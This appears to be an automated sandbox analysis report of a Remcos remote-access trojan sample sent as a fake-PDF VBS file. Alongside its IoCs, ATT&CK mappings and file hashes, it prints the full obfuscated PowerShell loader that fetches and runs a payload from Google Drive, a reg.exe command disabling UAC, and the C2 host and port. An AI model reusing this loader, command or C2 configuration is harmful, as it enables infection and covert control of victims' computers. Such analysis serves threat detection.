remcos | 9a551dc7b28ec615c023645b2f7621e5001cc81fcfb7d872983e1f6ad50c71da

Analysis

max time kernel
149s
max time network
148s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
27-11-2024 17:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

SOLICITUD DE PRESUPUESTO 27-11-2024·pdf.vbs
Size

33KB
MD5

3ce766fced81c253e1d82f6fb1897fa0
SHA1

b929522021b4a1c40993c0b51ae9c0f9c76cdca2
SHA256

0ba724668ce99b2a3241ff89f4f83a27fdc7225b400d0abe304f00881a2c7be9
SHA512

e9ddfa767da48747a1670755441ca476192500eb352f2b05b449e8a2f4b3553e9be58bdbdd75d9ecf63f6380faad73d512023bc7355e58931bcb47178046e302
SSDEEP

768:qG9asa0h+BjfPK+fNXQhZUQdOPYVVv6Or90T51SQ/I:b9asKBD/fNQ/Dp6Oh0TfzI

Score

10^/10

remcos remotehost discovery evasion execution rat trojan

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

45hq459.duckdns.org:23458

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
true
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-ZP0CQ6
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Blocklisted process makes network request 64 IoCs

flow	pid	Process
3	3036	WScript.exe
7	2764	powershell.exe
9	2764	powershell.exe
11	2804	msiexec.exe
13	2804	msiexec.exe
15	2804	msiexec.exe
17	2804	msiexec.exe
18	2804	msiexec.exe
20	2804	msiexec.exe
21	2804	msiexec.exe
22	2804	msiexec.exe
23	2804	msiexec.exe
24	2804	msiexec.exe
25	2804	msiexec.exe
26	2804	msiexec.exe
27	2804	msiexec.exe
28	2804	msiexec.exe
29	2804	msiexec.exe
30	2804	msiexec.exe
31	2804	msiexec.exe
32	2804	msiexec.exe
33	2804	msiexec.exe
34	2804	msiexec.exe
35	2804	msiexec.exe
36	2804	msiexec.exe
37	2804	msiexec.exe
38	2804	msiexec.exe
47	2804	msiexec.exe
48	2804	msiexec.exe
49	2804	msiexec.exe
50	2804	msiexec.exe
51	2804	msiexec.exe
52	2804	msiexec.exe
53	2804	msiexec.exe
54	2804	msiexec.exe
55	2804	msiexec.exe
56	2804	msiexec.exe
57	2804	msiexec.exe
58	2804	msiexec.exe
59	2804	msiexec.exe
60	2804	msiexec.exe
61	2804	msiexec.exe
62	2804	msiexec.exe
63	2804	msiexec.exe
64	2804	msiexec.exe
65	2804	msiexec.exe
66	2804	msiexec.exe
67	2804	msiexec.exe
68	2804	msiexec.exe
69	2804	msiexec.exe
70	2804	msiexec.exe
71	2804	msiexec.exe
72	2804	msiexec.exe
74	2804	msiexec.exe
75	2804	msiexec.exe
76	2804	msiexec.exe
78	2804	msiexec.exe
79	2804	msiexec.exe
80	2804	msiexec.exe
81	2804	msiexec.exe
82	2804	msiexec.exe
83	2804	msiexec.exe
84	2804	msiexec.exe
85	2804	msiexec.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2764	powershell.exe
2596	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2804	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2596	powershell.exe
2804	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2464	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2764	powershell.exe
2596	powershell.exe
2596	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2596	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2596	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2804	msiexec.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2764	3036	WScript.exe	30
PID 3036 wrote to memory of 2764	3036	WScript.exe	30
PID 3036 wrote to memory of 2764	3036	WScript.exe	30
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2596 wrote to memory of 2804	2596	powershell.exe	36
PID 2804 wrote to memory of 2676	2804	msiexec.exe	38
PID 2804 wrote to memory of 2676	2804	msiexec.exe	38
PID 2804 wrote to memory of 2676	2804	msiexec.exe	38
PID 2804 wrote to memory of 2676	2804	msiexec.exe	38
PID 2676 wrote to memory of 2464	2676	cmd.exe	40
PID 2676 wrote to memory of 2464	2676	cmd.exe	40
PID 2676 wrote to memory of 2464	2676	cmd.exe	40
PID 2676 wrote to memory of 2464	2676	cmd.exe	40

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SOLICITUD DE PRESUPUESTO 27-11-2024·pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skruestikbnk='Piously';;$Fejlskrivningersndsigternes='Coupjhs';;$Fejlskrivningersdeoglyph='Flosserne';;$Phlebolith='Doblon';;$Bobestyrelsers='Overspnde';;$Certificatory=$host.Name;function Skatten($jokesome){If ($Certificatory) {$Sakristis=4} for ($Fejlskrivningers=$Sakristis;;$Fejlskrivningers+=5){if(!$jokesome[$Fejlskrivningers]) { break }$Mistonusk+=$jokesome[$Fejlskrivningers]}$Mistonusk}function Drmaatten($Sydforhngs){ .($Fljlsbld) ($Sydforhngs)}$Ofrede=Skatten 'Bowdn B ueVejst Ska.SubowBlomELystBHatbC,rakLUdski kkveTeakNHum T';$Cycadeous=Skatten ' GalMAfs.o Beaz,tiliS bdl vel HaraForb/';$biografteaters=Skatten ' gteTK.ndl Strs sid1Scie2';$Bevgelsesenergi='Ceci[Tr knFrigeFr mTalan.GalvS lenEAli.REnacVTeraIExpoCQuodeA idpSkruoStraiFo mnSkivtK nvmH xaaSt eN Bosa hopgLysfeAno rNo.o] Ani: Sl : ncosUblee Supc MoruMul rZinkI.aseTF jlyFetcpArbeRGraaoDa btShinoInfrc S.bO omeLUnpr=Ke t$GlycbQ inIAt.mo RingSla,RUdenAKon FKafftskrieChiraIsoiTNonrE S prT abs';$Cycadeous+=Skatten 'Caut5Roke.R,nd0Inve Udv(MammWWelfiStymn Impd Fo,oDykswBe esad a B blNOptoTBuil Plet1 Com0Obl .Wine0Sini;Tumb AarhWMatriAftenE bl6Disu4Ligu;Br m P ndxTved6S gn4Fors; Atr Teler emivPris:Unmy1 Kva3 Mal1Supe. Oph0Da.b)Good KontGSt.me BilcVelmkForlo Spa/Resi2Cloa0V nd1Homo0 Kn 0Muta1skin0 ti1Stat IntiF onai ovrKo.ieRoh fMellouv.lxakki/Untr1Hulk3Udsk1Kon .Rehu0';$Sandburg=Skatten 'TorqUMetasPenee aniRFili- detap omGGoatE BulnMi it';$Fischerite=Skatten ' Tumh enetPo ttOmsppPanasU de:ko r/i fr/Po ldHrecrvaabiSem,v olueappo.MantgSu bo M roFordg F slPh se Hov.Fr.mc secoVindmvold/ Fisu antcFlak?FauveCerexPreepgaaroR dirCaultblot=T,lndUn ooBe,mw CarnTabulkorro lutaElemd d,f& idti lavd alo= Gor1SlumUBrusA rbe_En,bUGolf9 BlozBecrQIwa qn nrhMexiB R gEGeomBQuinUPaja3 jerxBrodE,utuVSmrr2Im orEfteRPronILivorBissxMandeafhec OriVPargL rnA TregLyserKonsiMovi0';$Opsaetning=Skatten 'A.mi>';$Fljlsbld=Skatten 'Af,eIBl keRi gx';$Agterspejlenes='Yorgos56';$Outfinding='\Relativizes.Bro';Drmaatten (Skatten ' pse$ DanGM.gnL Flao calBPaneaRaadLInte:Hftepe eaOA belStanYPorto R grGraeCKalkHUnpoIBrkksRi,sMCram=Sprl$Preje BegNTillVNo f: TidASat p onpNemaDViseaDompTStemAMega+Scre$Nordo t,luF evT Un,fBlaaIIndsNChapd BaniAna nRottg');Drmaatten (Skatten 'Unfr$LivaG.fval.vidONu zBUlykaadnoL oms:,charUndeOTrosT BisFFemgm PitRTrec=Alle$Kom F ambiG isSd ejCMat HEllee emoRKrl IbrnetFremEWal..eurysAlkoPTravLBundI,emttTest(Flor$ Ke o KonP Sp sTitaaMisoeCitoT VikNDenoi,tannBonegBroc)');Drmaatten (Skatten $Bevgelsesenergi);$Fischerite=$Rotfmr[0];$Superillustrated=(Skatten 'Nive$ukvegPolilTr sOSkdebTa.wAJobsLA va:,logP kaO rkiL Le A,nteKBefokudske OrtN GlasA,di=VillnPr,seBegrWseng-PaleoByplBJun jCh rE TelCForeTIndr FrubSAfvrY Ae.s ntTBgenEblodMDesc.Brom$Gun OMejefEskirlystEMennDChasE');Drmaatten ($Superillustrated);Drmaatten (Skatten 'Galv$Un,epPropoda hl FreaVanhk BjekOvere Te.nStabsKart.LatiH UnpetauraHavedTempeSilkreva sBli [Indi$UnwrSTempa L.tnRe.vdC ntbNonvuPol,rVgtegLand] Nar= S r$Li.eCHepty stcRegraEn.rdLe.oe,iddoOutcuUnfis');$Kapitalvrdiens=Skatten ' M m$DanspUdslochefl esaFermkSem,kGamgeCr nn No.sDvbl. SpaDomlaoKollwMi rnForfl laso M yaTrimd dlbFPerci U.clN gleGram(gast$B deFFunki Da sarbecSuffhSalge Strr veiTroltBageeEgen,Orfg$S,uiGComoe Or n R heWa,trpreca Ma l K tkRevioRuskm OrtaImpenS,umd,ampoHa be QuinVink)';$Generalkomandoen=$Polyorchism;Drmaatten (Skatten 'Vand$LidlgDes lLocaoaffaBSterAF tuLfire: AsyuAttrn PlepKompuMa.rNEvoccAutotPetrA.egeTChicEComp=A,al(ValvtlarrECaptSDepeTUnr -NonipUnbeaInd.TP sihPree Trai$ShebgO sle.nbuN TraEOmvar.hmeAUncalc,ryKCounoAnteMFronaRetsnPrinDM looMi,reUnwinHell)');while (!$Unpunctate) {Drmaatten (Skatten 'Over$R bsg Aktl NonoSamlbCogna ArilFrit: DraDGango Kulc Mode Apon Rygt igauJellr hipeEschtV rasVari= Hum$hydrPGourrDbefe ogaAfbilS,umlTranuLatesSomeiTennoSlukn') ;Drmaatten $Kapitalvrdiens;Drmaatten (Skatten 'Mu,ts Er,TSpdbA,rhvrEntotBreg-NonsS.ssyLStilE Na EUnreP Cai sy 4');Drmaatten (Skatten 'Ava $Sankg allLBiblo.nklB HoraFe lLB gg:TileU,litNPur P TopU,nidnPliocRelit Br ADeletF brEArc =Uncr(,ntiTS,enE Reps orTQual-ApacpRentA ,ktTNocthPist Mtaa$ hloG In e DennProtEAkseRectoa kepLEncokf rboBletMUlo,aSgeknHypodMal,Osynke Bogn Ana)') ;Drmaatten (Skatten ' .nm$R,peGheadlAmpaoKl nB De aHer L Mon: ArcM.ilrIHingSSp rDPhotiM toSUnretAlpeIForsn CogG R.nu,ermiKv,dsNeedHTorn=Sil,$CrumGAntyl BeboSp tBTuriAGonalTour: orss.oppoFarrRFrdirTreaoRetaw ApplM,ddENd.tsIdensDarklFlioYGard3Logi2K sk+S oo+Skra%Like$nyttR.usio,nert.egefResemBiogRb,ko.,ejscUnseoCapaUKuvenRekvT') ;$Fischerite=$Rotfmr[$Misdistinguish]}$Fangelejrens=299518;$tyndstegens=30645;Drmaatten (Skatten 'Lr.r$ anggGouslTraaoIncaB djuapsilL.imo:chelUR.drNZinci NonT.nprER peAr,cib UtoIFileLKit iOverTsambY aps C,an=tape Concg rieDexttGyps-AeroCFartoUdm.n onsTWillePetrn StatNedf Kol$CorkgValkehderNAdopE ubsrReseAV.adLmindK S hoTankm idea uldnUn wDSmrfoPy oERdden');Drmaatten (Skatten 'Tryk$PoncgMagilProto L.vbsynda,jvll ce:S raKMonsa shrr Dg,lPervsA.givDeleoPaamgbecrnTrepeReflnU lusPomf Tot=Ford Udma[ c,yS Un y AucsK zatConte RekmMicr.MadpC FouoErhvn AlmvFormecounrEquitOphi]Liba:Kle : troF SamrP.anoW ltmImpeBDksmaEntrsFordeP st6Drap4F.gbSDowntBestrPolsiHoofnL rtgAffl(Endo$NonauUnbinG asiKnebtMeoseRiciaSprubEndoiMikrlPerri.rnutTitryKoll)');Drmaatten (Skatten 'Twen$SubsGu,eqlToldoRecob TidaB siLMill:V,evb Smre UndHTuria HavN,munDL.ndl riIBe eNIdeaGAngrsgudeMSe.eUOrdnl iddiS riGPec hNonreMousdS,utE,remRJu i Air=Ford Symb[KaalS I gyUncoS StotsujeEFo kmno.f.S vfTPrefEord.x KicTPlig. esaERu rnCartC D.soLiflDRe rI GlenSol.G oci] He : Ele: StiAbesks urvC quai HaaICumi. G aGRegnEJamrtNonpS nttM ljr F eIMetanSlidG Gen(Ordv$Scirk KolaDedirBrodlCondsEamoVTungORekvg isnHgtneh lintransUnde)');Drmaatten (Skatten 'Pala$DiblGUddeLNicooStorbFa eabedfL un:FrdiISandnReckdhanhERamrfFelseJosen Ki s alvIPilgBRaahLKnneET afNSnipEBaroSBrygS Ije=Osti$ isbB ForEMarkHPimpABar NUheldKaf,LPaneI WroN lobg,esis CowmSaddUMenil hemI KejgDusehInkweBlaaDBusieSpytr For.be.zSkognU Trub Co S NicTSm rrEfteInurtn B lg .ta(Bold$C.effRaa,aSvklNKlpugFortEPr.ilSlove Ra.jDiskRForseMedbnBlseS ,an, Kar$Gis,TBio y inlNInstdAllesForbT,tbeeVerbg ExoE MonNMedbSargu)');Drmaatten $Indefensibleness;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2764

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Skruestikbnk='Piously';;$Fejlskrivningersndsigternes='Coupjhs';;$Fejlskrivningersdeoglyph='Flosserne';;$Phlebolith='Doblon';;$Bobestyrelsers='Overspnde';;$Certificatory=$host.Name;function Skatten($jokesome){If ($Certificatory) {$Sakristis=4} for ($Fejlskrivningers=$Sakristis;;$Fejlskrivningers+=5){if(!$jokesome[$Fejlskrivningers]) { break }$Mistonusk+=$jokesome[$Fejlskrivningers]}$Mistonusk}function Drmaatten($Sydforhngs){ .($Fljlsbld) ($Sydforhngs)}$Ofrede=Skatten 'Bowdn B ueVejst Ska.SubowBlomELystBHatbC,rakLUdski kkveTeakNHum T';$Cycadeous=Skatten ' GalMAfs.o Beaz,tiliS bdl vel HaraForb/';$biografteaters=Skatten ' gteTK.ndl Strs sid1Scie2';$Bevgelsesenergi='Ceci[Tr knFrigeFr mTalan.GalvS lenEAli.REnacVTeraIExpoCQuodeA idpSkruoStraiFo mnSkivtK nvmH xaaSt eN Bosa hopgLysfeAno rNo.o] Ani: Sl : ncosUblee Supc MoruMul rZinkI.aseTF jlyFetcpArbeRGraaoDa btShinoInfrc S.bO omeLUnpr=Ke t$GlycbQ inIAt.mo RingSla,RUdenAKon FKafftskrieChiraIsoiTNonrE S prT abs';$Cycadeous+=Skatten 'Caut5Roke.R,nd0Inve Udv(MammWWelfiStymn Impd Fo,oDykswBe esad a B blNOptoTBuil Plet1 Com0Obl .Wine0Sini;Tumb AarhWMatriAftenE bl6Disu4Ligu;Br m P ndxTved6S gn4Fors; Atr Teler emivPris:Unmy1 Kva3 Mal1Supe. Oph0Da.b)Good KontGSt.me BilcVelmkForlo Spa/Resi2Cloa0V nd1Homo0 Kn 0Muta1skin0 ti1Stat IntiF onai ovrKo.ieRoh fMellouv.lxakki/Untr1Hulk3Udsk1Kon .Rehu0';$Sandburg=Skatten 'TorqUMetasPenee aniRFili- detap omGGoatE BulnMi it';$Fischerite=Skatten ' Tumh enetPo ttOmsppPanasU de:ko r/i fr/Po ldHrecrvaabiSem,v olueappo.MantgSu bo M roFordg F slPh se Hov.Fr.mc secoVindmvold/ Fisu antcFlak?FauveCerexPreepgaaroR dirCaultblot=T,lndUn ooBe,mw CarnTabulkorro lutaElemd d,f& idti lavd alo= Gor1SlumUBrusA rbe_En,bUGolf9 BlozBecrQIwa qn nrhMexiB R gEGeomBQuinUPaja3 jerxBrodE,utuVSmrr2Im orEfteRPronILivorBissxMandeafhec OriVPargL rnA TregLyserKonsiMovi0';$Opsaetning=Skatten 'A.mi>';$Fljlsbld=Skatten 'Af,eIBl keRi gx';$Agterspejlenes='Yorgos56';$Outfinding='\Relativizes.Bro';Drmaatten (Skatten ' pse$ DanGM.gnL Flao calBPaneaRaadLInte:Hftepe eaOA belStanYPorto R grGraeCKalkHUnpoIBrkksRi,sMCram=Sprl$Preje BegNTillVNo f: TidASat p onpNemaDViseaDompTStemAMega+Scre$Nordo t,luF evT Un,fBlaaIIndsNChapd BaniAna nRottg');Drmaatten (Skatten 'Unfr$LivaG.fval.vidONu zBUlykaadnoL oms:,charUndeOTrosT BisFFemgm PitRTrec=Alle$Kom F ambiG isSd ejCMat HEllee emoRKrl IbrnetFremEWal..eurysAlkoPTravLBundI,emttTest(Flor$ Ke o KonP Sp sTitaaMisoeCitoT VikNDenoi,tannBonegBroc)');Drmaatten (Skatten $Bevgelsesenergi);$Fischerite=$Rotfmr[0];$Superillustrated=(Skatten 'Nive$ukvegPolilTr sOSkdebTa.wAJobsLA va:,logP kaO rkiL Le A,nteKBefokudske OrtN GlasA,di=VillnPr,seBegrWseng-PaleoByplBJun jCh rE TelCForeTIndr FrubSAfvrY Ae.s ntTBgenEblodMDesc.Brom$Gun OMejefEskirlystEMennDChasE');Drmaatten ($Superillustrated);Drmaatten (Skatten 'Galv$Un,epPropoda hl FreaVanhk BjekOvere Te.nStabsKart.LatiH UnpetauraHavedTempeSilkreva sBli [Indi$UnwrSTempa L.tnRe.vdC ntbNonvuPol,rVgtegLand] Nar= S r$Li.eCHepty stcRegraEn.rdLe.oe,iddoOutcuUnfis');$Kapitalvrdiens=Skatten ' M m$DanspUdslochefl esaFermkSem,kGamgeCr nn No.sDvbl. SpaDomlaoKollwMi rnForfl laso M yaTrimd dlbFPerci U.clN gleGram(gast$B deFFunki Da sarbecSuffhSalge Strr veiTroltBageeEgen,Orfg$S,uiGComoe Or n R heWa,trpreca Ma l K tkRevioRuskm OrtaImpenS,umd,ampoHa be QuinVink)';$Generalkomandoen=$Polyorchism;Drmaatten (Skatten 'Vand$LidlgDes lLocaoaffaBSterAF tuLfire: AsyuAttrn PlepKompuMa.rNEvoccAutotPetrA.egeTChicEComp=A,al(ValvtlarrECaptSDepeTUnr -NonipUnbeaInd.TP sihPree Trai$ShebgO sle.nbuN TraEOmvar.hmeAUncalc,ryKCounoAnteMFronaRetsnPrinDM looMi,reUnwinHell)');while (!$Unpunctate) {Drmaatten (Skatten 'Over$R bsg Aktl NonoSamlbCogna ArilFrit: DraDGango Kulc Mode Apon Rygt igauJellr hipeEschtV rasVari= Hum$hydrPGourrDbefe ogaAfbilS,umlTranuLatesSomeiTennoSlukn') ;Drmaatten $Kapitalvrdiens;Drmaatten (Skatten 'Mu,ts Er,TSpdbA,rhvrEntotBreg-NonsS.ssyLStilE Na EUnreP Cai sy 4');Drmaatten (Skatten 'Ava $Sankg allLBiblo.nklB HoraFe lLB gg:TileU,litNPur P TopU,nidnPliocRelit Br ADeletF brEArc =Uncr(,ntiTS,enE Reps orTQual-ApacpRentA ,ktTNocthPist Mtaa$ hloG In e DennProtEAkseRectoa kepLEncokf rboBletMUlo,aSgeknHypodMal,Osynke Bogn Ana)') ;Drmaatten (Skatten ' .nm$R,peGheadlAmpaoKl nB De aHer L Mon: ArcM.ilrIHingSSp rDPhotiM toSUnretAlpeIForsn CogG R.nu,ermiKv,dsNeedHTorn=Sil,$CrumGAntyl BeboSp tBTuriAGonalTour: orss.oppoFarrRFrdirTreaoRetaw ApplM,ddENd.tsIdensDarklFlioYGard3Logi2K sk+S oo+Skra%Like$nyttR.usio,nert.egefResemBiogRb,ko.,ejscUnseoCapaUKuvenRekvT') ;$Fischerite=$Rotfmr[$Misdistinguish]}$Fangelejrens=299518;$tyndstegens=30645;Drmaatten (Skatten 'Lr.r$ anggGouslTraaoIncaB djuapsilL.imo:chelUR.drNZinci NonT.nprER peAr,cib UtoIFileLKit iOverTsambY aps C,an=tape Concg rieDexttGyps-AeroCFartoUdm.n onsTWillePetrn StatNedf Kol$CorkgValkehderNAdopE ubsrReseAV.adLmindK S hoTankm idea uldnUn wDSmrfoPy oERdden');Drmaatten (Skatten 'Tryk$PoncgMagilProto L.vbsynda,jvll ce:S raKMonsa shrr Dg,lPervsA.givDeleoPaamgbecrnTrepeReflnU lusPomf Tot=Ford Udma[ c,yS Un y AucsK zatConte RekmMicr.MadpC FouoErhvn AlmvFormecounrEquitOphi]Liba:Kle : troF SamrP.anoW ltmImpeBDksmaEntrsFordeP st6Drap4F.gbSDowntBestrPolsiHoofnL rtgAffl(Endo$NonauUnbinG asiKnebtMeoseRiciaSprubEndoiMikrlPerri.rnutTitryKoll)');Drmaatten (Skatten 'Twen$SubsGu,eqlToldoRecob TidaB siLMill:V,evb Smre UndHTuria HavN,munDL.ndl riIBe eNIdeaGAngrsgudeMSe.eUOrdnl iddiS riGPec hNonreMousdS,utE,remRJu i Air=Ford Symb[KaalS I gyUncoS StotsujeEFo kmno.f.S vfTPrefEord.x KicTPlig. esaERu rnCartC D.soLiflDRe rI GlenSol.G oci] He : Ele: StiAbesks urvC quai HaaICumi. G aGRegnEJamrtNonpS nttM ljr F eIMetanSlidG Gen(Ordv$Scirk KolaDedirBrodlCondsEamoVTungORekvg isnHgtneh lintransUnde)');Drmaatten (Skatten 'Pala$DiblGUddeLNicooStorbFa eabedfL un:FrdiISandnReckdhanhERamrfFelseJosen Ki s alvIPilgBRaahLKnneET afNSnipEBaroSBrygS Ije=Osti$ isbB ForEMarkHPimpABar NUheldKaf,LPaneI WroN lobg,esis CowmSaddUMenil hemI KejgDusehInkweBlaaDBusieSpytr For.be.zSkognU Trub Co S NicTSm rrEfteInurtn B lg .ta(Bold$C.effRaa,aSvklNKlpugFortEPr.ilSlove Ra.jDiskRForseMedbnBlseS ,an, Kar$Gis,TBio y inlNInstdAllesForbT,tbeeVerbg ExoE MonNMedbSargu)');Drmaatten $Indefensibleness;"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2596
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\SysWOW64\cmd.exe
    /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2676
  - - C:\Windows\SysWOW64\reg.exe
      C:\Windows\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
      4⤵
      UAC bypass
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:2464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\remcos\logs.dat

Filesize
144B

MD5
0279f473514501fda240fd4a212e3e9e

SHA1
54ae7a2b361587c30cc2fbeac9897835f68740a4

SHA256
61d7cbeab9b01d3d18e31dca3f96e87319c1c5218153f5c3102c8d97d53cb923

SHA512
855f77440363c33b9ce00dcba910a9871242bc2ab532b71c4539721af3eaec694e54a501684d0064a481bf3ff2e97a758af44e1a89d1419568f6e1176a9726b8

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
fb676225de61f25945ab8b0cf0902cf1

SHA1
920b1b2d112c14b318503c6d485b9e41277d9d39

SHA256
8c784a6b811d4ca0ee176c49c210ed332fae9e4a54b121cfd70b4a0c060135d7

SHA512
79dcdc7bbcff936d50acc5a04a8000199660896d38be87ac58ba92108d4b54e539c207efbf6d8fc3aac9b4e975ec76fed72a96aa0bf4a91c090dddb40eaaef5a

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabB4E0.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar3DCC.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B27F6SIKEF8ZN8M1EN8D.temp

Filesize
7KB

MD5
3226348ab1d4f814a044ac9652784299

SHA1
c594ceafe85ab32fd6ee2d7859eddf6084b65148

SHA256
bd2891df1a9fe9f3569ff807f465d7a3f07411f3d9c69c2d4d4ec487accf8975

SHA512
5ba587e93c69e87fb5f254d0d61a4193c06e74b8be1441d01231ad2cfc5e3d6f1ddd4e947932b855e95906bdad1cb78b4b7e9332e22df1244fd8de2c2cb7a51d

Download Submit
C:\Users\Admin\AppData\Roaming\Relativizes.Bro

Filesize
429KB

MD5
8ced58b06ab66f4b168f22625adf4402

SHA1
750e8a710aa56269b370cf47ee60fe4b98f09b89

SHA256
d9028440c53673689f5b41e0342fb505ce56a8d82c423826306b9269c932d51c

SHA512
82fcbf8783de6294c3177c60dfabc4dcc960b8796560882e1d65d0ce57768371c7e49ce92e2924df990daafeeeaafd9af2bab9a4b6c7c5491289d79c1813594a

Download Submit
memory/2596-37-0x00000000066E0000-0x000000000A17D000-memory.dmp

Filesize
58.6MB

Download
memory/2764-24-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-25-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-29-0x000007FEF58AE000-0x000007FEF58AF000-memory.dmp

Filesize
4KB

Download
memory/2764-30-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-31-0x000007FEF55F0000-0x000007FEF5F8D000-memory.dmp

Filesize
